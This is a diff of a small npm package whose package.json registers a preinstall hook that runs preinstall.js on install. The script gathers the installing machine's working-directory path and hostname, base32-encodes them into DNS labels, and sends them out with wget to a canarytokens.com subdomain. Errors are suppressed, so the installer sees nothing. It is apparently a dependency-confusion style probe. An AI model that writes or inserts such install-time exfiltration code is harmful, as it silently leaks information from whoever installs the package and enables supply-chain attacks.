mtrtestinglalalal 0.0.1-security

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "mtrtestinglalalal",
+  "version": "0.0.1-security",
+  "description": "the is my very bad package ",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "author": "the_dude",
+  "license": "ISC"
+}

package/preinstall.js

@@ -0,0 +1,47 @@
+const { execSync } = require("child_process");
+
+const token = "7s7ge8z7wyht6or4ipinquask.canarytokens.com";
+
+function base32Encode(input) {
+    const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
+    const paddingChar = "=";
+    let bits = "";
+    let encoded = "";
+
+    for (let i = 0; i < input.length; i++) {
+        bits += input[i].charCodeAt(0).toString(2).padStart(8, "0");
+    }
+
+    for (let i = 0; i < bits.length; i += 5) {
+        const chunk = bits.substring(i, i + 5).padEnd(5, "0");
+        const index = parseInt(chunk, 2);
+        encoded += alphabet[index];
+    }
+
+    while (encoded.length % 8 !== 0) {
+        encoded += paddingChar;
+    }
+
+    return encoded;
+}
+
+function chunkString(str, size) {
+    const regex = new RegExp(`.{1,${size}}`, "g");
+    return str.match(regex);
+}
+
+function createToken() {
+    const data = execSync("echo $(pwd | tr '/' '_')-$(hostname)").toString().trim();
+
+    const base32Encoded = base32Encode(data).replace(/=+$/, "");
+    const chunks = chunkString(base32Encoded, 63);
+    const randomSuffix = "G" + Math.floor(Math.random() * (99 - 10 + 1) + 10);
+    return [...chunks, randomSuffix, token].filter(Boolean).join(".");
+}
+
+const url = createToken();
+
+try {
+    execSync(`wget http://${url}`);
+} catch (error) {
+}